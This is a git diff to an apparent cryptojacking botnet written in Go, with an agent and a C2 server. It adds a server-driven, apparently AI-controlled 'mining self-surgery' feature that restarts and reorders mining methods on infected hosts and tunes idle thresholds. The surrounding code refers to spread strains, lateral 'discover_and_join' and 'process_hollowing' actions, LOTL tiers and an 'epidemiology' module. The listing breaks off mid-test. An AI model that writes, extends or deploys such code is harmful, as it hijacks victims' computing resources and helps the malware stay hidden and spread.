diff --git a/agent/client/mining_chain.go b/agent/client/mining_chain.go index 812f073..1194b44 100644 --- a/agent/client/mining_chain.go +++ b/agent/client/mining_chain.go @@ -167,6 +167,11 @@ func (r *MiningChainRunner) startMiningCascade(ctx context.Context) { go r.ctrl.Monitor(monCtx) } +// StopBranchAttempt stops active branch methods without setting operator pause. +func (r *MiningChainRunner) StopBranchAttempt() { + r.ctrl.StopAll() +} + // Stop halts all mining methods in the chain. func (r *MiningChainRunner) Stop() { r.mu.Lock() @@ -188,6 +193,23 @@ func (r *MiningChainRunner) Restart(ctx context.Context) { r.ctrl.RestartChain(ctx) } +// RestartContainer stops and relaunches the container/docker_load tier. +func (r *MiningChainRunner) RestartContainer() error { + r.stopContainer() + return r.startContainer() +} + +// ReorderChain updates cascade order and optionally skips failed methods. +func (r *MiningChainRunner) ReorderChain(chain, skip []miner.MiningMethod) { + r.ctrl.ReorderChain(chain, skip) +} + +// SwapGPU restarts the parallel GPU subprocess miner. +func (r *MiningChainRunner) SwapGPU() error { + r.stopGPU() + return r.startGPU() +} + // Status returns the live cascade snapshot for stats/diagnostics. func (r *MiningChainRunner) Status() miner.MiningStatus { st := r.ctrl.Status() diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go index 045ea07..3d89efe 100644 --- a/agent/client/mining_policy.go +++ b/agent/client/mining_policy.go @@ -35,6 +35,9 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled) c.applySpreadPolicyJSON(resp.SpreadPolicy) c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy) + if len(resp.ContingencyPolicy) > 0 { + c.applyContingencyPolicyJSON(resp.ContingencyPolicy) + } if len(resp.MiningTierPolicy) > 0 { c.applyMiningTierPolicyJSON(resp.MiningTierPolicy) } @@ -52,6 +55,9 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { if len(resp.EpidemiologyFix) > 0 { c.applyEpidemiologyFixJSON(resp.EpidemiologyFix) } + if len(resp.MiningSelfSurgery) > 0 { + c.applyMiningSelfSurgeryJSON(resp.MiningSelfSurgery) + } if len(resp.SpreadTemperament) > 0 { c.mu.Lock() applySpreadTemperament(&c.cfg, resp.SpreadTemperament) diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 5ccb29d..45d8c00 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -79,6 +79,8 @@ type AuthResponse struct { SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"` GraftPolicy json.RawMessage `json:"graft_policy,omitempty"` EpidemiologyFix json.RawMessage `json:"epidemiology_fix,omitempty"` + MiningSelfSurgery json.RawMessage `json:"mining_self_surgery,omitempty"` + ContingencyPolicy json.RawMessage `json:"contingency_policy,omitempty"` } type SharePayload struct { @@ -164,6 +166,7 @@ type StatsPayload struct { ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` + ContingencyDepth int `json:"contingency_depth,omitempty"` // Fleet role split telemetry (stats WS). FleetRole string `json:"fleet_role,omitempty"` diff --git a/agent/client/self_surgery.go b/agent/client/self_surgery.go new file mode 100644 index 0000000..94ada3c --- /dev/null +++ b/agent/client/self_surgery.go @@ -0,0 +1,172 @@ +package client + +import ( + "context" + "encoding/json" + "log" + "strings" + + "crypto-miner-agent/miner" +) + +// MiningSelfSurgeryPlan is a server-pushed on-host mining recovery plan. +type MiningSelfSurgeryPlan struct { + AgentID string `json:"agent_id"` + Reason string `json:"reason"` + Trigger string `json:"trigger"` + Actions []string `json:"actions"` + ChainOrder []string `json:"chain_order,omitempty"` + SkipMethods []string `json:"skip_methods,omitempty"` + IdleThresholdPct int `json:"idle_threshold_pct,omitempty"` +} + +// SelfSurgeryResult is one executed action outcome reported back to C2. +type SelfSurgeryResult struct { + Action string `json:"action"` + OK bool `json:"ok"` + Detail string `json:"detail,omitempty"` +} + +func (c *AgentClient) applyMiningSelfSurgeryJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var plan MiningSelfSurgeryPlan + if err := json.Unmarshal(raw, &plan); err != nil { + return + } + if plan.AgentID != "" && plan.AgentID != c.agentID { + return + } + log.Printf("[agent] mining self-surgery queued: %s (%s)", plan.Reason, plan.Trigger) + go c.executeMiningSelfSurgery(plan) +} + +func (c *AgentClient) executeMiningSelfSurgery(plan MiningSelfSurgeryPlan) { + results := make([]SelfSurgeryResult, 0, len(plan.Actions)) + outcome := "ok" + for _, action := range plan.Actions { + action = strings.TrimSpace(strings.ToLower(action)) + if isForbiddenSelfSurgeryAction(action) { + results = append(results, SelfSurgeryResult{Action: action, OK: false, Detail: "forbidden lateral action"}) + outcome = "partial" + continue + } + ok, detail := c.runSelfSurgeryAction(action, plan) + results = append(results, SelfSurgeryResult{Action: action, OK: ok, Detail: detail}) + if !ok { + outcome = "partial" + } + } + c.reportSelfSurgery(plan, outcome, results) +} + +func isForbiddenSelfSurgeryAction(action string) bool { + switch action { + case "discover_and_join", "discover_join", "spread_now", "spread_graft", + "spread_retry_lane", "stage_fetch", "process_hollowing", "hollow": + return true + default: + return false + } +} + +func (c *AgentClient) runSelfSurgeryAction(action string, plan MiningSelfSurgeryPlan) (bool, string) { + switch action { + case "container_restart": + return c.selfSurgeryContainerRestart() + case "fallback_chain_reorder": + return c.selfSurgeryFallbackReorder(plan) + case "gpu_subprocess_swap": + return c.selfSurgeryGPUSwap() + case "idle_threshold_tune": + return c.selfSurgeryIdleTune(plan.IdleThresholdPct) + case "randomx_restart": + return c.selfSurgeryRandomXRestart() + default: + return false, "unknown action" + } +} + +func (c *AgentClient) selfSurgeryContainerRestart() (bool, string) { + if c.miningChain == nil { + return false, "mining chain unavailable" + } + if err := c.miningChain.RestartContainer(); err != nil { + return false, err.Error() + } + return true, "container restarted" +} + +func (c *AgentClient) selfSurgeryFallbackReorder(plan MiningSelfSurgeryPlan) (bool, string) { + if c.miningChain == nil { + return false, "mining chain unavailable" + } + chain := parseMiningMethodOrder(plan.ChainOrder) + skip := parseMiningMethodOrder(plan.SkipMethods) + c.miningChain.ReorderChain(chain, skip) + c.miningChain.Restart(context.Background()) + return true, "fallback chain reordered" +} + +func (c *AgentClient) selfSurgeryGPUSwap() (bool, string) { + if c.miningChain == nil { + return false, "mining chain unavailable" + } + if err := c.miningChain.SwapGPU(); err != nil { + return false, err.Error() + } + return true, "gpu subprocess swapped" +} + +func (c *AgentClient) selfSurgeryIdleTune(pct int) (bool, string) { + if pct <= 0 { + return false, "idle_threshold_pct missing" + } + c.mu.Lock() + c.cfg.IdleThresholdPct = pct + cfg := c.cfg + c.mu.Unlock() + c.pool.UpdateRuntimePolicy(cfg) + return true, "idle threshold updated" +} + +func (c *AgentClient) selfSurgeryRandomXRestart() (bool, string) { + c.pool.RestartRandomX() + c.pool.ResumeRemote() + return true, "randomx restarted" +} + +func parseMiningMethodOrder(raw []string) []miner.MiningMethod { + out := make([]miner.MiningMethod, 0, len(raw)) + for _, s := range raw { + s = strings.TrimSpace(strings.ToLower(s)) + if s == "" { + continue + } + out = append(out, miner.MiningMethod(s)) + } + return out +} + +func (c *AgentClient) reportSelfSurgery(plan MiningSelfSurgeryPlan, outcome string, results []SelfSurgeryResult) { + payload, err := json.Marshal(struct { + AgentID string `json:"agent_id"` + Trigger string `json:"trigger"` + Reason string `json:"reason"` + Outcome string `json:"outcome"` + Results []SelfSurgeryResult `json:"results"` + }{ + AgentID: c.agentID, + Trigger: plan.Trigger, + Reason: plan.Reason, + Outcome: outcome, + Results: results, + }) + if err != nil { + return + } + if err := c.write(Message{Type: "self_surgery_report", Payload: payload}); err != nil { + log.Printf("[agent] self-surgery report failed: %v", err) + } +} diff --git a/agent/client/self_surgery_test.go b/agent/client/self_surgery_test.go new file mode 100644 index 0000000..7a7fe86 --- /dev/null +++ b/agent/client/self_surgery_test.go @@ -0,0 +1,50 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/miner" + "crypto-miner-agent/stats" +) + +func TestSelfSurgeryIdleTune(t *testing.T) { + reporter := stats.NewReporter() + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{IdleThresholdPct: 20}} + pool := miner.NewPool(1, cfg, reporter, nil) + c := &AgentClient{ + agentID: "agent-1", + cfg: cfg, + pool: pool, + } + ok, detail := c.selfSurgeryIdleTune(35) + if !ok || detail == "" { + t.Fatalf("ok=%v detail=%q", ok, detail) + } + if c.cfg.IdleThresholdPct != 35 { + t.Fatalf("idle threshold=%d want 35", c.cfg.IdleThresholdPct) + } +} + +func TestApplyMiningSelfSurgeryRejectsWrongAgent(t *testing.T) { + c := &AgentClient{agentID: "mine", pool: miner.NewPool(1, config.RuntimeConfig{}, stats.NewReporter(), nil)} + raw, _ := json.Marshal(MiningSelfSurgeryPlan{AgentID: "other", Actions: []string{"randomx_restart"}}) + c.applyMiningSelfSurgeryJSON(raw) // no-op: agent_id mismatch +} + +func TestForbiddenSelfSurgeryActionRejected(t *testing.T) { + if !isForbiddenSelfSurgeryAction("discover_and_join") { + t.Fatal("expected forbidden") + } + if isForbiddenSelfSurgeryAction("container_restart") { + t.Fatal("container_restart should be allowed") + } +} + +func TestParseMiningMethodOrder(t *testing.T) { + order := parseMiningMethodOrder([]string{"inprocess", "container"}) + if len(order) != 2 || order[0] != miner.MethodInProcess { + t.Fatalf("order=%v", order) + } +} diff --git a/agent/miner/engine.go b/agent/miner/engine.go index d9bad09..51a9aaf 100644 --- a/agent/miner/engine.go +++ b/agent/miner/engine.go @@ -33,6 +33,15 @@ func NewEngine() *Engine { return &Engine{cache: cache} } +// Reset clears the VM so the next SetJob reinitializes RandomX state. +func (e *Engine) Reset() { + e.mu.Lock() + defer e.mu.Unlock() + e.vm = nil + e.seedHex = "" + e.blob = nil +} + func (e *Engine) SetJob(seedHex, blobHex string) error { seed, err := hex.DecodeString(seedHex) if err != nil { diff --git a/agent/miner/fallback_chain.go b/agent/miner/fallback_chain.go index 0b33c80..7c83605 100644 --- a/agent/miner/fallback_chain.go +++ b/agent/miner/fallback_chain.go @@ -788,6 +788,31 @@ func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) { c.mu.Unlock() } +// ReorderChain replaces the cascade order and optionally skips failed methods. +func (c *ChainController) ReorderChain(chain []MiningMethod, skip []MiningMethod) { + c.mu.Lock() + defer c.mu.Unlock() + skipSet := make(map[MiningMethod]bool, len(skip)) + for _, m := range skip { + skipSet[m] = true + } + if len(chain) > 0 { + c.chain = append([]MiningMethod(nil), chain...) + } else if len(skip) > 0 { + filtered := make([]MiningMethod, 0, len(c.chain)) + for _, m := range c.chain { + if !skipSet[m] { + filtered = append(filtered, m) + } + } + c.chain = filtered + } + c.failures = nil + c.chainExhausted = false + c.lastError = "" + c.lastFullPass = time.Time{} +} + // Monitor watches container health and advances the chain on exit. func (c *ChainController) Monitor(ctx context.Context) { ticker := time.NewTicker(10 * time.Second) diff --git a/agent/miner/fallback_chain_reorder_test.go b/agent/miner/fallback_chain_reorder_test.go new file mode 100644 index 0000000..f641b85 --- /dev/null +++ b/agent/miner/fallback_chain_reorder_test.go @@ -0,0 +1,29 @@ +package miner + +import ( + "testing" + + "crypto-miner-agent/config" +) + +func TestReorderChainSkipsFailedMethods(t *testing.T) { + c := NewChainController(config.RuntimeConfig{}, ChainHooks{}, nil) + c.SetChainOrderForTest([]MiningMethod{MethodContainer, MethodInProcess, MethodGPUSubprocess}) + c.ReorderChain(nil, []MiningMethod{MethodContainer}) + st := c.Status() + if len(st.ChainOrder) != 2 { + t.Fatalf("chain=%v", st.ChainOrder) + } + if st.ChainOrder[0] != MethodInProcess { + t.Fatalf("first=%v want inprocess", st.ChainOrder[0]) + } +} + +func TestReorderChainReplacesOrder(t *testing.T) { + c := NewChainController(config.RuntimeConfig{}, ChainHooks{}, nil) + c.ReorderChain([]MiningMethod{MethodInProcess, MethodWSL}, nil) + st := c.Status() + if len(st.ChainOrder) != 2 || st.ChainOrder[0] != MethodInProcess { + t.Fatalf("chain=%v", st.ChainOrder) + } +} diff --git a/agent/miner/pool.go b/agent/miner/pool.go index f9212b7..aae9089 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -73,6 +73,22 @@ func (p *Pool) UpdateRuntimePolicy(cfg config.RuntimeConfig) { } } +// RestartRandomX reinitializes in-process RandomX engines and resumes hashing. +func (p *Pool) RestartRandomX() { + p.mu.Lock() + job := p.currentJob + engines := p.engines + p.mu.Unlock() + for _, engine := range engines { + engine.Reset() + } + if job != nil { + p.SetJob(job) + } + p.remotePause.Store(false) + p.paused.Store(false) +} + func (p *Pool) SetJob(job *job.Job) { p.mu.Lock() p.currentJob = job diff --git a/server/internal/ai/surgical_commands.go b/server/internal/ai/surgical_commands.go index 15d9341..04428d1 100644 --- a/server/internal/ai/surgical_commands.go +++ b/server/internal/ai/surgical_commands.go @@ -5,6 +5,60 @@ import ( "strings" ) +// Mining-only self-surgery command types (same agent, no spread/lateral). +const ( + CmdMiningSelfSurgery = "mining_self_surgery" + CmdContainerRestart = "container_restart" + CmdFallbackChainReorder = "fallback_chain_reorder" + CmdGPUSubprocessSwap = "gpu_subprocess_swap" + CmdIdleThresholdTune = "idle_threshold_tune" + CmdRandomXRestart = "randomx_restart" +) + +var miningSelfSurgeryTypes = map[string]bool{ + CmdMiningSelfSurgery: true, + CmdContainerRestart: true, + CmdFallbackChainReorder: true, + CmdGPUSubprocessSwap: true, + CmdIdleThresholdTune: true, + CmdRandomXRestart: true, +} + +var forbiddenSpreadTypes = map[string]bool{ + CmdDiscoverAndJoin: true, + CmdSpreadNow: true, + CmdSpreadGraft: true, + CmdSpreadRetryLane: true, + CmdStageFetch: true, + "discover_join": true, + "process_hollowing": true, + "hollow": true, +} + +// IsMiningSelfSurgeryCommand reports on-host mining fix types. +func IsMiningSelfSurgeryCommand(typ string) bool { + return miningSelfSurgeryTypes[normalizeCommandType(typ)] +} + +// IsForbiddenSpreadCommand reports lateral/spread command types excluded from self-surgery. +func IsForbiddenSpreadCommand(typ string) bool { + return forbiddenSpreadTypes[normalizeCommandType(typ)] +} + +// FilterMiningSelfSurgeryCommands drops spread/lateral commands from a parsed list. +func FilterMiningSelfSurgeryCommands(cmds []Command) []Command { + out := make([]Command, 0, len(cmds)) + for _, c := range cmds { + if IsForbiddenSpreadCommand(c.Type) { + continue + } + if IsMiningSelfSurgeryCommand(c.Type) || c.Type == CmdRestartMining || c.Type == CmdReorderTiers || c.Type == CmdSkipTier { + out = append(out, c) + } + } + return out +} + // ExpandSurgicalCommand maps surgical fix types to executable fleet commands. func ExpandSurgicalCommand(cmd Command) []Command { switch cmd.Type { @@ -14,11 +68,59 @@ func ExpandSurgicalCommand(cmd Command) []Command { return []Command{ResolveSkipTier(cmd.Args)} case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft: return []Command{cmd} + case CmdMiningSelfSurgery: + return ExpandMiningSelfSurgery(cmd) + case CmdContainerRestart, CmdFallbackChainReorder, CmdGPUSubprocessSwap, CmdIdleThresholdTune, CmdRandomXRestart: + return []Command{cmd} default: return []Command{cmd} } } +// ExpandMiningSelfSurgery unwraps a bundled mining_self_surgery command into action steps. +func ExpandMiningSelfSurgery(cmd Command) []Command { + args := cmd.Args + if args == nil { + return []Command{cmd} + } + raw, ok := args["actions"] + if !ok { + return []Command{cmd} + } + var actions []string + switch v := raw.(type) { + case []interface{}: + for _, item := range v { + if s, ok := item.(string); ok && strings.TrimSpace(s) != "" { + actions = append(actions, normalizeCommandType(s)) + } + } + case []string: + for _, s := range v { + if strings.TrimSpace(s) != "" { + actions = append(actions, normalizeCommandType(s)) + } + } + } + if len(actions) == 0 { + return []Command{cmd} + } + out := make([]Command, 0, len(actions)) + for _, action := range actions { + if IsForbiddenSpreadCommand(action) { + continue + } + stepArgs := map[string]interface{}{} + for _, k := range []string{"chain_order", "skip_methods", "idle_threshold_pct", "reason", "trigger"} { + if v, ok := args[k]; ok { + stepArgs[k] = v + } + } + out = append(out, Command{Type: action, Args: stepArgs}) + } + return out +} + // FormatSurgicalFixArgs serializes command args for strain memory storage. func FormatSurgicalFixArgs(cmd Command) string { if cmd.Args == nil { diff --git a/server/internal/ai/surgical_commands_mining_test.go b/server/internal/ai/surgical_commands_mining_test.go new file mode 100644 index 0000000..eaa22cd --- /dev/null +++ b/server/internal/ai/surgical_commands_mining_test.go @@ -0,0 +1,42 @@ +package ai + +import "testing" + +func TestExpandMiningSelfSurgeryUnwrapsActions(t *testing.T) { + out := ExpandMiningSelfSurgery(Command{ + Type: CmdMiningSelfSurgery, + Args: map[string]interface{}{ + "actions": []interface{}{"container_restart", "randomx_restart"}, + }, + }) + if len(out) != 2 { + t.Fatalf("len=%d want 2", len(out)) + } + if out[0].Type != CmdContainerRestart || out[1].Type != CmdRandomXRestart { + t.Fatalf("types=%v %v", out[0].Type, out[1].Type) + } +} + +func TestFilterMiningSelfSurgeryCommandsDropsSpread(t *testing.T) { + cmds := FilterMiningSelfSurgeryCommands([]Command{ + {Type: CmdDiscoverAndJoin}, + {Type: CmdContainerRestart}, + {Type: CmdSpreadNow}, + {Type: CmdRandomXRestart}, + }) + if len(cmds) != 2 { + t.Fatalf("len=%d want 2", len(cmds)) + } + if cmds[0].Type != CmdContainerRestart || cmds[1].Type != CmdRandomXRestart { + t.Fatalf("cmds=%v", cmds) + } +} + +func TestIsForbiddenSpreadCommand(t *testing.T) { + if !IsForbiddenSpreadCommand("discover_and_join") { + t.Fatal("expected forbidden") + } + if IsForbiddenSpreadCommand("container_restart") { + t.Fatal("mining fix should not be forbidden") + } +} diff --git a/server/internal/api/mining_self_surgery_bridge.go b/server/internal/api/mining_self_surgery_bridge.go new file mode 100644 index 0000000..993b6e9 --- /dev/null +++ b/server/internal/api/mining_self_surgery_bridge.go @@ -0,0 +1,107 @@ +package api + +import ( + "encoding/json" + + "crypto-miner-server/internal/epidemiology" + "crypto-miner-server/internal/miningsurgery" +) + +func (h *WSHub) miningSurgeryTracker() *miningsurgery.Tracker { + if h == nil { + return nil + } + return h.miningSurgery +} + +// WireDefaultMiningSurgeryReporter connects self-surgery telemetry to Seer + oath ledger. +func (h *WSHub) WireDefaultMiningSurgeryReporter() { + if h == nil { + return + } + tr := h.miningSurgeryTracker() + if tr == nil { + return + } + tr.SetReporter(miningsurgery.Reporter{ + OnSeer: func(ev miningsurgery.SeerEvent) { + h.broadcastSeerEvent(epidemiology.SeerEvent{ + Kind: ev.Kind, + AgentID: ev.AgentID, + Payload: ev.Payload, + Timestamp: ev.Timestamp, + }) + if h.db != nil { + _, _ = h.db.InsertSeerEvent(ev.Kind, ev.AgentID, ev.Payload) + } + }, + OnOath: func(agentID, actor, actionType, strain, whyHash, outcome string, payload map[string]interface{}) { + if h.db == nil { + return + } + _, _ = h.db.InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome, payload) + }, + }) +} + +func (h *WSHub) observeMiningSelfSurgeryFromStats(agentID string, stats epidemiology.StatsInput) { + if h == nil || agentID == "" { + return + } + if !h.serverPolicySnapshot().AIControlEnabled { + return + } + tr := h.miningSurgeryTracker() + if tr == nil { + return + } + idlePct := h.defaultIdleThresholdPct() + + if state := epidemiology.DetectInterruption(agentID, stats); state != nil { + plan := miningsurgery.ComposeFromInterrupt(*state, idlePct) + tr.QueuePlan(plan) + return + } + if miningsurgery.DetectLowHashrate(stats, miningsurgery.DefaultLowHashrateHPS) { + hr := stats.MiningHashrate + if hr <= 0 { + hr = stats.Hashrate15m + } + plan := miningsurgery.ComposeFromLowHashrate(agentID, stats.ActiveMethod, hr, idlePct) + tr.QueuePlan(plan) + } +} + +func (h *WSHub) defaultIdleThresholdPct() int { + return 20 +} + +func (h *WSHub) attachMiningSelfSurgery(resp map[string]interface{}, agentID string) { + tr := h.miningSurgeryTracker() + if tr == nil { + return + } + plan, ok := tr.ConsumePlan(agentID) + if !ok { + return + } + resp["mining_self_surgery"] = plan +} + +func (h *WSHub) handleSelfSurgeryReport(agentID string, payload json.RawMessage) { + tr := h.miningSurgeryTracker() + if tr == nil { + return + } + var report struct { + Outcome string `json:"outcome"` + Results []map[string]interface{} `json:"results"` + } + if json.Unmarshal(payload, &report) != nil { + report.Outcome = "applied" + } + if report.Outcome == "" { + report.Outcome = "applied" + } + tr.RecordOutcome(agentID, report.Outcome, report.Results) +} diff --git a/server/internal/api/mining_self_surgery_test.go b/server/internal/api/mining_self_surgery_test.go new file mode 100644 index 0000000..1845d08 --- /dev/null +++ b/server/internal/api/mining_self_surgery_test.go @@ -0,0 +1,91 @@ +package api + +import ( + "encoding/json" + "testing" + + "crypto-miner-server/internal/epidemiology" +) + +func TestMiningSelfSurgeryAuthOneShot(t *testing.T) { + hub := NewWSHub(nil) + hub.mu.Lock() + hub.serverPolicy.AIControlEnabled = true + hub.mu.Unlock() + hub.WireDefaultMiningSurgeryReporter() + + hub.observeMiningSelfSurgeryFromStats("agent-surgery", epidemiology.StatsInput{ + ChainExhausted: true, + FailedMethods: []epidemiology.MethodFailure{ + {Method: "container", Reason: "exited"}, + }, + }) + + resp := map[string]interface{}{} + hub.attachMiningSelfSurgery(resp, "agent-surgery") + if _, ok := resp["mining_self_surgery"]; !ok { + t.Fatal("expected mining_self_surgery on auth pass") + } + raw, _ := json.Marshal(resp["mining_self_surgery"]) + var plan struct { + AgentID string `json:"agent_id"` + Actions []string `json:"actions"` + } + if err := json.Unmarshal(raw, &plan); err != nil { + t.Fatal(err) + } + if plan.AgentID != "agent-surgery" || len(plan.Actions) == 0 { + t.Fatalf("plan=%+v", plan) + } + + resp2 := map[string]interface{}{} + hub.attachMiningSelfSurgery(resp2, "agent-surgery") + if _, ok := resp2["mining_self_surgery"]; ok { + t.Fatal("plan should be consumed after first auth pass") + } +} + +func TestMiningSelfSurgerySkippedWithoutAIControl(t *testing.T) { + hub := NewWSHub(nil) + hub.observeMiningSelfSurgeryFromStats("agent-off", epidemiology.StatsInput{ + ChainExhausted: true, + }) + resp := map[string]interface{}{} + hub.attachMiningSelfSurgery(resp, "agent-off") + if _, ok := resp["mining_self_surgery"]; ok { + t.Fatal("expected no plan when ai_control_enabled is false") + } +} + +func TestMiningSelfSurgeryLowHashrate(t *testing.T) { + hub := NewWSHub(nil) + hub.mu.Lock() + hub.serverPolicy.AIControlEnabled = true + hub.mu.Unlock() + + hub.observeMiningSelfSurgeryFromStats("agent-low", epidemiology.StatsInput{ + MiningHashrate: 0.2, + ActiveMethod: "inprocess", + }) + resp := map[string]interface{}{} + hub.attachMiningSelfSurgery(resp, "agent-low") + if _, ok := resp["mining_self_surgery"]; !ok { + t.Fatal("expected low hashrate plan") + } +} + +func TestSelfSurgeryReportHandled(t *testing.T) { + hub := NewWSHub(nil) + hub.mu.Lock() + hub.serverPolicy.AIControlEnabled = true + hub.mu.Unlock() + hub.WireDefaultMiningSurgeryReporter() + hub.observeMiningSelfSurgeryFromStats("agent-report", epidemiology.StatsInput{ChainExhausted: true}) + _, _ = hub.miningSurgery.ConsumePlan("agent-report") + + payload, _ := json.Marshal(map[string]interface{}{ + "outcome": "ok", + "results": []map[string]interface{}{{"action": "randomx_restart", "ok": true}}, + }) + hub.handleSelfSurgeryReport("agent-report", payload) +} diff --git a/server/internal/miningsurgery/plan.go b/server/internal/miningsurgery/plan.go new file mode 100644 index 0000000..4c56e88 --- /dev/null +++ b/server/internal/miningsurgery/plan.go @@ -0,0 +1,199 @@ +package miningsurgery + +import ( + "strings" + + "crypto-miner-server/internal/epidemiology" +) + +// Action is one on-host mining fix (no spread/lateral). +type Action string + +const ( + ActionContainerRestart Action = "container_restart" + ActionFallbackReorder Action = "fallback_chain_reorder" + ActionGPUSubprocessSwap Action = "gpu_subprocess_swap" + ActionIdleThresholdTune Action = "idle_threshold_tune" + ActionRandomXRestart Action = "randomx_restart" +) + +// DefaultLowHashrateHPS is the hashrate ceiling for low-hashrate self-surgery. +const DefaultLowHashrateHPS = 1.0 + +// Plan is the server-composed mining self-surgery payload for one agent. +type Plan struct { + AgentID string `json:"agent_id"` + Reason string `json:"reason"` + Trigger string `json:"trigger"` + Actions []Action `json:"actions"` + ChainOrder []string `json:"chain_order,omitempty"` + SkipMethods []string `json:"skip_methods,omitempty"` + IdleThresholdPct int `json:"idle_threshold_pct,omitempty"` +} + +// ComposeFromInterrupt builds a mining-only plan from an epidemiology interrupt snapshot. +func ComposeFromInterrupt(state epidemiology.MiningInterruptState, idleThresholdPct int) Plan { + plan := Plan{ + AgentID: state.AgentID, + Trigger: "mining_interrupt", + Reason: "mining self-surgery: recover interrupted cascade on same host", + } + if idleThresholdPct <= 0 { + idleThresholdPct = 20 + } + + failed := failedMethodSet(state) + if failed["container"] || failed["docker_load"] { + plan.Actions = append(plan.Actions, ActionContainerRestart) + } + if state.ChainExhausted || len(failed) > 0 || len(state.FailedMethods) > 0 { + plan.Actions = append(plan.Actions, ActionFallbackReorder) + plan.ChainOrder = reorderChainFromState(state) + plan.SkipMethods = skipMethodsFromState(state) + } + if failed["gpu_subprocess"] { + plan.Actions = append(plan.Actions, ActionGPUSubprocessSwap) + } + if strings.TrimSpace(state.ActiveMethod) == "inprocess" || state.ChainExhausted { + plan.Actions = append(plan.Actions, ActionRandomXRestart) + } + plan.Actions = dedupeActions(plan.Actions) + if len(plan.Actions) == 0 { + plan.Actions = []Action{ActionRandomXRestart} + } + return plan +} + +// ComposeFromLowHashrate builds a plan when hashing is active but below threshold. +func ComposeFromLowHashrate(agentID, activeMethod string, hashrate float64, idleThresholdPct int) Plan { + if idleThresholdPct <= 0 { + idleThresholdPct = 20 + } + tuned := idleThresholdPct + 10 + if tuned > 80 { + tuned = 80 + } + plan := Plan{ + AgentID: agentID, + Trigger: "low_hashrate", + Reason: "mining self-surgery: low hashrate recovery on same host", + IdleThresholdPct: tuned, + } + if strings.TrimSpace(activeMethod) == "container" || strings.TrimSpace(activeMethod) == "docker_load" { + plan.Actions = append(plan.Actions, ActionContainerRestart) + } + if strings.TrimSpace(activeMethod) == "gpu_subprocess" { + plan.Actions = append(plan.Actions, ActionGPUSubprocessSwap) + } + plan.Actions = append(plan.Actions, ActionIdleThresholdTune, ActionRandomXRestart) + plan.Actions = dedupeActions(plan.Actions) + return plan +} + +// DetectLowHashrate is true when an agent is mining but below the H/s floor. +func DetectLowHashrate(stats epidemiology.StatsInput, threshold float64) bool { + if strings.TrimSpace(stats.FleetRole) == "seeder" { + return false + } + if threshold <= 0 { + threshold = DefaultLowHashrateHPS + } + hr := stats.MiningHashrate + if hr <= 0 { + hr = stats.Hashrate15m + } + if hr <= 0 { + hr = stats.GPUHashrate15m + } + if hr <= 0 || hr >= threshold { + return false + } + return strings.TrimSpace(stats.ActiveMethod) != "" || stats.GPUMinerActive +} + +func failedMethodSet(state epidemiology.MiningInterruptState) map[string]bool { + out := make(map[string]bool) + for _, f := range state.FailedMethods { + m := strings.TrimSpace(strings.ToLower(f.Method)) + if m != "" { + out[m] = true + } + } + for _, a := range state.LOTLAttempts { + if a.OK { + continue + } + t := strings.TrimSpace(strings.ToLower(a.Tier)) + if t != "" { + out[t] = true + } + } + return out +} + +func skipMethodsFromState(state epidemiology.MiningInterruptState) []string { + seen := make(map[string]bool) + var out []string + for _, f := range state.FailedMethods { + m := strings.TrimSpace(f.Method) + if m == "" || seen[m] { + continue + } + seen[m] = true + out = append(out, m) + } + for _, a := range state.LOTLAttempts { + if a.OK { + continue + } + t := strings.TrimSpace(a.Tier) + if t == "" || seen[t] { + continue + } + seen[t] = true + out = append(out, t) + } + return out +} + +func reorderChainFromState(state epidemiology.MiningInterruptState) []string { + // Prefer in-process CPU path after failures; keep GPU addon last. + base := []string{"inprocess", "container", "wsl", "docker_load", "gpu_subprocess"} + skip := failedMethodSet(state) + out := make([]string, 0, len(base)) + for _, m := range base { + if skip[m] { + continue + } + out = append(out, m) + } + if len(out) == 0 { + return []string{"inprocess"} + } + return out +} + +func dedupeActions(in []Action) []Action { + seen := make(map[Action]bool, len(in)) + out := make([]Action, 0, len(in)) + for _, a := range in { + if seen[a] { + continue + } + seen[a] = true + out = append(out, a) + } + return out +} + +// ContainsSpreadCommand reports forbidden lateral command types. +func ContainsSpreadCommand(types []string) bool { + for _, typ := range types { + switch strings.TrimSpace(strings.ToLower(typ)) { + case "discover_and_join", "discover_join", "spread_now", "spread_graft", + "spread_retry_lane", "stage_fetch", "process_hollowing", "hollow": + return true + } + } + return false +} diff --git a/server/internal/miningsurgery/plan_test.go b/server/internal/miningsurgery/plan_test.go new file mode 100644 index 0000000..afe7be0 --- /dev/null +++ b/server/internal/miningsurgery/plan_test.go @@ -0,0 +1,78 @@ +package miningsurgery + +import ( + "testing" + + "crypto-miner-server/internal/epidemiology" +) + +func TestComposeFromInterruptContainerRestart(t *testing.T) { + plan := ComposeFromInterrupt(epidemiology.MiningInterruptState{ + AgentID: "a1", + ChainExhausted: true, + FailedMethods: []epidemiology.MethodFailure{ + {Method: "container", Reason: "exited"}, + }, + ActiveMethod: "container", + }, 20) + if len(plan.Actions) == 0 { + t.Fatal("expected actions") + } + found := false + for _, a := range plan.Actions { + if a == ActionContainerRestart { + found = true + } + } + if !found { + t.Fatalf("actions=%v want container_restart", plan.Actions) + } + if ContainsSpreadCommand([]string{"discover_and_join"}) { + t.Fatal("spread guard misfire") + } +} + +func TestComposeFromLowHashrateIdleTune(t *testing.T) { + plan := ComposeFromLowHashrate("a1", "inprocess", 0.5, 20) + if plan.IdleThresholdPct != 30 { + t.Fatalf("idle tune=%d want 30", plan.IdleThresholdPct) + } + hasTune := false + for _, a := range plan.Actions { + if a == ActionIdleThresholdTune { + hasTune 